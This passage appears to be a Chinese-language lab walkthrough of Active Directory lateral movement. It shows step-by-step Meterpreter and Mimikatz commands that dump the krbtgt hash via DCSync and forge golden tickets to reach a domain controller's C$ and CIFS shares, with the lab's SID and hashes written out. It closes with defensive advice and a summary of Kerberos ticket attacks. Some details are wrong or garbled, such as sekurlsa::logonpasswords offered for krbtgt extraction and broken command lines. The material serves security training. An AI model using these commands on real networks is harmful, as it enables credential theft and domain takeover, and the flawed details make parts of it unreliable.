这里的S-1-5-21-1234567890-1234567890-1234567890-516就是krbtgt用户的SID。每一串数字代表了不同的安全标识符组件,其中最后一个数字通常表示域内的用户或组的唯一ID。

如果命令执行后没有返回任何结果,可能是因为没有找到名为krbtgt的用户账户,或者你没有足够的权限执行该命令。在这种情况下,你应该检查你的权限设置,或者确保krbtgt账户确实存在。krbtgt账户是Kerberos服务账户,在Active Directory环境中是必需的。如果你在非域控制器的Windows系统上运行此命令,你可能不会找到krbtgt账户。

横向移动技战术(一)_访问权限_113

exit #退出

kiwi_cmd lsadump::dcsync user:krbtgt


横向移动技战术(一)_目标系统_114

这里就能看到很多的信息,比如NTLM、sid

kiwi 是一个渗投测试工具,常用于 Windows 系统的安全审计和密码转储。lsadump::dcsynckiwi 中的一个功能,用于从域控制器中转储 krbtgt 用户的哈希值,这是 Kerberos 票据授予票据(TGT)过程的关键部分。

然而,使用 kiwi 或其任何功能(如 lsadump::dcsync)要求你具有域管理员权限,因为你需要能够与域控制器通信并请求敏感信息。

如何使用 kiwi 的 lsadump::dcsync 功能:

  1. 获取工具: 首先,你需要在你的渗投测试机器上安装 kiwikiwi 是 Metasploit 框架的一部分,所以如果你已经有了 Metasploit,你可能已经有 kiwi 了。
  2. 启动 Meterpreter: 你必须在域控制器上获得一个 Meterpreter 会话。如果你已经拥有了一个 Meterpreter 会话,你可以跳过这一步。
  3. 运行 lsadump::dcsync: 在 Meterpreter 会话中,你可以使用以下命令来转储 krbtgt 用户的哈希值:
1lsadump::dcsync user:krbtgt

这将显示 krbtgt 用户的 NTLM 哈希。


要更精准的查询相关信息

横向移动技战术(一)_Windows_115

也可以用

kiwi_cmd lsadump::dcsync /domain:lonelyor.org /user:krbtgt

横向移动技战术(一)_目标系统_116

吧sid放到刚刚写的文档里,记录下来

下面要回到win10的shell

横向移动技战术(一)_目标系统_117

输入

background

sessions -l


横向移动技战术(一)_访问权限_118

看到win10超管shell的id编号为4

横向移动技战术(一)_访问权限_119

这样就是已经做了load

如果没做的话输入

load kiwi

横向移动技战术(一)_Windows_120

如果报错信息为这个

重启win10,重新拿win的shell

横向移动技战术(一)_访问权限_121

接着呢再拿管理员shell

sessions -l

sessions -i -11

横向移动技战术(一)_目标系统_122

chcp 65001

横向移动技战术(一)_访问权限_123

dir WINSRV-2016.lonelyor.org\Downloads

发现是不能访问的

横向移动技战术(一)_目标系统_124

进程迁移

横向移动技战术(一)_目标系统_125

load kiwi

横向移动技战术(一)_Windows_126

sysinfo

发现没有迁移,现在迁移

横向移动技战术(一)_访问权限_127

序号为636

横向移动技战术(一)_访问权限_128

migrate 636

将之前的票据复制粘贴进去

横向移动技战术(一)_访问权限_129

exit

kiwi_cmd kerberos ::golden /domain:lonelyor.org /sid:s-1-5-21-3199196146-2196162486-1764246383 /target:WINSRV-2016.lonelyor.org /service:CIFS /rc4:c5ecdf7bac4662b2e9e7415a7270bc69 /user:Administrator /ptt

然后把实验再来一遍

横向移动技战术(一)_目标系统_130

chcp 65001

横向移动技战术(一)_访问权限_131

接下来访问

dir \\WINSRV-2016.lonelyor.org\Downloads

可以看到我们此时就能够访问共享文件了,就表示公鸡成功了。因为这里本来就有一个flag.txt


来到注册表编辑器

横向移动技战术(一)_目标系统_132

计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ControLsa\Kerberos\Parameters

横向移动技战术(一)_目标系统_133

在左边目录拦里找到parameters,然后右键

横向移动技战术(一)_Windows_134

选择dword32位

横向移动技战术(一)_目标系统_135

新建以后会弹出一个这个

横向移动技战术(一)_访问权限_136

将这个文件名修改成ValidateKdcPacSignature

横向移动技战术(一)_Windows_137

然后将0改成1

黄金票据伪造公鸡与防御实战

横向移动技战术(一)_访问权限_138

域中有一个特殊用户krbtgt

黄金票据(Golden Ticket)公鸡是一种针对Kerberos认证协议的高级公鸡技术,它允许公鸡者在未授权的情况下生成有效的票据授予票据(Ticket Granting Ticket, TGT),从而冒充域内的任意用户。这种公鸡主要发生在Active Directory环境中,并且依赖于公鸡者已经获得了域控制器的访问权限。

黄金票据公鸡的原理:

  1. 获取krbtgt哈希: 公鸡者首先需要获取域内的krbtgt账户的NTLM哈希值。这通常通过在域控制器上使用工具如Mimikatz来实现。
  2. 伪造TGT: 公鸡者使用获得的krbtgt哈希值来伪造任意用户的TGT。这个伪造的TGT可以用来冒充域内的任何用户,甚至管理员用户。
  3. 使用伪造的TGT: 公鸡者使用伪造的TGT来请求服务票据(Service Ticket),进而访问网络资源和服务。

黄金票据公鸡的步骤:

  1. 获取域控制器访问权限: 公鸡者需要获得域控制器上的管理员权限。这可以通过多种手段实现,例如利用漏动、弱密码或社会工程学。
  2. 提取krbtgt哈希: 使用工具如Mimikatz提取krbtgt账户的NTLM哈希值。这可以通过以下命令实现:
sekurlsa::logonpasswords
  1. 生成伪造的TGT: 使用工具如ticketerMimikatzkerberos::golden功能来生成伪造的TGT。
ticketer /user:fakeuser /domain:contoso.com /target:krbtgt /hashes:<krbtgt-hash> /ptt
  1. 使用伪造的TGT: 将伪造的TGT放入内存,然后使用它来请求服务票据(Service Ticket)并访问资源。

黄金票据公鸡的限制:

  • 域控制器访问权限:公鸡者必须首先获得域控制器的访问权限,这通常是通过获得域管理员权限来实现的。
  • 持续的有效性:即使域管理员更改了krbtgt的密码,伪造的TGT仍然有效,因为它是基于krbtgt的NTLM哈希值生成的。
  • 防御机制:现代的Active Directory环境通常会有多种防御措施,包括账户锁定策略、事件日志监控、入侵检测系统等。


练习

接上个实验

exit

返回

sysinfo

横向移动技战术(一)_目标系统_139

sessions -l

在Metasploit框架中,sessions -l 命令用于列出当前活跃的会话(sessions)。当你成功利用了一个目标系统并建立了Meterpreter会话或者其他类型的会话时,你可以使用这个命令来查看这些会话的详细信息。

命令格式:

msf6 > sessions -l

输出示例:

当你运行 sessions -l 命令时,你可能会看到类似于以下的输出:

msf6 > sessions -l

 Active Sessions
===============

  Id  Name         Type               Information                                   Connection
  --  ----         ----               -----------                                   ----------
  1   session1     meterpreter       windows/x64/meterpreter/reverse_tcp          192.168.1.10:4444 -> 192.168.1.2:50504 (192.168.1.10)
  2   session2     shell             cmd/unix/reverse_perl                        192.168.1.10:4444 -> 192.168.1.3:50505 (192.168.1.3)

  Legend:
    * = Running, + = Busy, D = Detached

 msf6 >

输出解释:

  • Id:会话的唯一标识符。
  • Name:会话的名称。
  • Type:会话的类型,例如 meterpreter 或 shell
  • Information:有关会话的详细信息,例如使用的payload类型。
  • Connection:显示了建立会话的客户端和服务器之间的连接信息,包括客户端IP地址、客户端端口、服务器端口以及服务器IP地址。

如何使用输出:

  • 管理会话:你可以使用会话的ID来切换到特定的会话。例如,sessions -i 1 将让你与ID为1的会话交互。
  • 结束会话:你可以使用 sessions -k [ID] 命令来终止特定的会话。例如,sessions -k 1 将终止ID为1的会话。
  • 查看会话详情:你可以使用 sessions -i [ID] 或 sessions -i [ID] -d 来查看会话的详细信息或与会话交互。

横向移动技战术(一)_目标系统_140

 background#将当前活跃的Meterpreter会话放到后台运行

sessions -l

在Metasploit框架中,background 命令用于将当前活跃的Meterpreter会话放到后台运行。当你在一个Meterpreter会话中工作时,你可能会发现需要同时执行多个任务或者切换到其他会话。使用 background 命令可以帮助你实现这一点。

命令格式:

background

使用示例:

假设你已经在Meterpreter会话中,并且想要将其放到后台,以便继续使用Metasploit控制台执行其他命令或管理其他会话,你可以简单地输入 background

meterpreter > background

效果:

执行 background 命令后,你将返回到Metasploit的主控制台。此时,你可以执行其他命令,如启动新的exploit,管理其他会话等。

返回到会话:

如果你想要回到之前的Meterpreter会话,可以使用 sessions -i [ID] 命令,其中 [ID] 是你之前记下的会话ID。

msf6 > sessions -i [ID]

示例输出:

假设你已经有一个Meterpreter会话,并且它的ID是1。你想要将它放到后台,然后继续使用Metasploit控制台执行其他命令。

meterpreter > background
msf6 > sessions -l

 Active Sessions
===============

  Id  Name         Type               Information                                   Connection
  --  ----         ----               -----------                                   ----------
  1   session1     meterpreter       windows/x64/meterpreter/reverse_tcp          192.168.1.10:4444 -> 192.168.1.2:50504 (192.168.1.10)

  Legend:
    * = Running, + = Busy, D = Detached

 msf6 > sessions -i 1
 [*] Switching to session 1...
 meterpreter >

横向移动技战术(一)_目标系统_141

发现id是8,然后我们进入8

sessions -i 8

横向移动技战术(一)_Windows_142

sysinfo#这样我们就进入winserve2016的meterpreter

横向移动技战术(一)_访问权限_143

启动kiwi

load kiwi

横向移动技战术(一)_Windows_144

然后再输入这条指令

dcsync_ntlm krbtgt#这条指令是获取sid以及hash值

横向移动技战术(一)_访问权限_145

或者使用这条命令获取相同的数据

meterpreter>kiwi cmd lsadump::lsa /patch

横向移动技战术(一)_目标系统_146

横向移动技战术(一)_访问权限_147

background#将会话方法哦后台执行

sessions -l#查看会话

横向移动技战术(一)_访问权限_148

sessions -i 11 #回到超管

sysinfo

确认一下是不是回到了

横向移动技战术(一)_Windows_149

kerberos_ticket_purge#清除Meterpreter会话中的Kerberos票据(tickets)

在Metasploit框架中,kerberos_ticket_purge 命令用于清除Meterpreter会话中的Kerberos票据(tickets)。当Meterpreter会话成功获取了目标系统的Kerberos票据时,这些票据会被存储在会话中,以便后续使用。kerberos_ticket_purge 命令可以用来清除这些票据,这对于清理痕迹或释放资源是有用的。

命令格式:

1kerberos_ticket_purge

使用示例:

当你在一个Meterpreter会话中,并且想要清除所有已获取的Kerberos票据时,可以使用 kerberos_ticket_purge 命令。

1meterpreter > kerberos_ticket_purge

效果:

执行 kerberos_ticket_purge 命令后,Meterpreter会话中的所有Kerberos票据将被清除。这意味着任何之前获取的票据都将不再可用于后续操作。

示例输出:

假设你已经在Meterpreter会话中,并且想要清除所有Kerberos票据,你可以使用以下命令:

1meterpreter > kerberos_ticket_purge
2[*] Purged all Kerberos tickets.
3meterpreter >

横向移动技战术(一)_访问权限_150

golden ticket create -d lonelyor.org -u lonelyor-test -s S-1-5-21-3199196146-2196162486-1764246383-k 0147bf1b3fbdd849f9dbbb90018310e0 -t /tmp/gt.ticket

横向移动技战术(一)_Windows_151

lden_ticket_create -d lonelyor.org -u lonelyor-test -s S-1-5-21-3199196146-2196162486-1764246383 -k 0147bf1b3fbdd849f9dbbb90018310e0 -t /tmp/gt.ticket

接下来输入shell

chcp 65001

横向移动技战术(一)_访问权限_152

dir \\WINSRV-2016\c$

横向移动技战术(一)_Windows_153

运行使用票据的命令,然后填入刚才导出的路径,这样就加载成功了

kerberos ticket use /tmp/gt.ticket

横向移动技战术(一)_Windows_154

看一下票据有没有导入成功

kerberos_ticket_list

横向移动技战术(一)_访问权限_155

进入win10的shell

shell

横向移动技战术(一)_目标系统_156

看一下现在我们进入的是哪一个shell

systeminfo

横向移动技战术(一)_目标系统_157

可以看出来是win10的shell

chcp 65001

横向移动技战术(一)_Windows_158

接下来访问一下共享看看可不可以访问

dir \\WINSRV-2016\c$

横向移动技战术(一)_Windows_159

我们能够读取目标c盘的根目录

所以我们黄金票据的利用就成功了。

防御措施

横向移动技战术(一)_Windows_160

  1. 强化密码策略
  • 复杂性要求:确保用户和服务账户的密码足够复杂,难以猜测或破接。
  • 定期更换密码:定期强制更换密码,降低密码被窃取的风险。
  1. 使用强身份验证方法
  • 多因素认证(MFA):实施多因素认证,即使密码被泄露,公鸡者也难以通过额外的身份验证步骤。
  • 智能卡认证:使用智能卡或其他硬件令牌进行身份验证,增加安全性。
  1. 加强网络监控
  • 异常行为检测:监控网络中的异常行为,如不常见的登录尝试、大量失败的认证请求等。
  • 日志审计:定期审计系统日志,查找潜在的安全漏动和异常活动。
  1. 限制服务账户权限
  • 最小权限原则:确保服务账户只拥有完成任务所需的最低权限,减少公鸡者的可利用空间。
  • 定期审查权限设置:定期审查和调整服务账户的权限设置,确保没有不必要的权限分配。
  1. 更新和补丁管理
  • 及时更新软件:确保操作系统和应用程序及时更新,应用最新的安全补丁,修复已知漏动。
  • 使用最新的Kerberos版本:使用最新版本的Kerberos协议,利用其增强的安全特性。
  1. 网络隔离和分段
  • VLAN和子网划分:通过VLAN和子网划分,将网络分割成多个独立的部分,限制公鸡者的横向移动。
  • 访问控制列表(ACL):在关键网络设备上配置访问控制列表,限制未经授权的访问。
  1. 端点安全保护
  • 防病独软件和防火墙:在所有端点设备上安装和维护最新的防病独软件和防火墙,防止恶意软件和未经授权的访问。
  • 端点检测和响应(EDR):使用端点检测和响应工具,实时监控和响应潜在的安全威胁。
  1. 培训和意识提升
  • 员工安全培训:定期对员工进行安全培训,提高他们对钓鱼公鸡、社会工程学等常见公鸡手段的认识。
  • 安全意识宣传:通过各种渠道宣传网络安全知识,营造良好的安全文化氛围。

通过以上措施,可以有效防御白银票据公鸡,保护网络和系统的安全。重要的是,防御措施应该多层次、多角度地实施,形成综合性的安全防护体系。

票据公鸡总结

横向移动技战术(一)_访问权限_161

票据公鸡(Ticket Attacks)是指针对Kerberos认证协议的一种公鸡手段,它利用Kerberos协议的特性来获取或伪造有效的票据,从而实现未经授权的访问。Kerberos是广泛应用于企业环境中的认证协议,主要用于实现网络中的安全认证和授权。以下是几种常见的票据公鸡及其概述:

金票公鸡(Golden Ticket)

  • 原理:金票公鸡涉及到伪造Ticket Granting Ticket (TGT)。公鸡者通过获取krbtgt账户的NTLM哈希值,然后使用该哈希值生成一个伪造的TGT,该TGT可以用来冒充域内的任何用户。
  • 步骤
  1. 获取krbtgt哈希值。
  2. 使用工具如ticketerMimikatzkerberos::golden功能生成伪造的TGT。
  3. 使用伪造的TGT来请求服务票据(Service Ticket),进而访问网络资源。
  • 防御措施
  • 强化密码策略。
  • 监控事件日志中的异常活动。
  • 限制域控制器的访问权限。
  • 使用安全工具检测和防止此类公鸡。

银票公鸡(Silver Ticket)

  • 原理:银票公鸡涉及到伪造服务票据(Service Ticket)。公鸡者通过获取服务账户的NTLM哈希值,然后使用该哈希值生成一个伪造的服务,该票据可以用来访问特定的服务。
  • 步骤
  1. 获取服务账户的NTLM哈希值。
  2. 使用工具如Mimikatzkerberos::pth功能生成伪造的服务票据。
  3. 使用伪造的服务票据来访问特定的服务。
  • 防御措施
  • 强化密码策略。
  • 监控事件日志中的异常活动。
  • 限制服务账户的权限。
  • 使用安全工具检测和防止此类公鸡。

票据转发公鸡(Ticket Forwarding)

  • 原理:在Kerberos协议中,TGT可以被转发到其他客户端,这使得公鸡者可以通过窃取TGT并将其转发到另一台机器上来冒充原始用户。
  • 步骤
  1. 窃取或获取有效的TGT。
  2. 将TGT转发到另一台机器。
  3. 使用转发的TGT来请求服务票据,进而访问网络资源。
  • 防御措施
  • 强化密码策略。
  • 监控事件日志中的异常活动。
  • 限制TGT的转发能力。
  • 使用安全工具检测和防止此类公鸡。

票据缓存公鸡(Ticket Cache Poisoning)

  • 原理:公鸡者利用某些漏动或弱点来篡改Kerberos票据缓存中的票据,使其指向公鸡者控制的服务。
  • 步骤
  1. 利用漏动或弱点访问Kerberos票据缓存。
  2. 篡改票据缓存中的票据,指向公鸡者控制的服务。
  3. 当用户尝试访问资源时,被重定向到公鸡者控制的服务。
  • 防御措施
  • 定期更新和打补丁系统。
  • 监控事件日志中的异常活动。
  • 限制网络权限。
  • 使用安全工具检测和防止此类公鸡。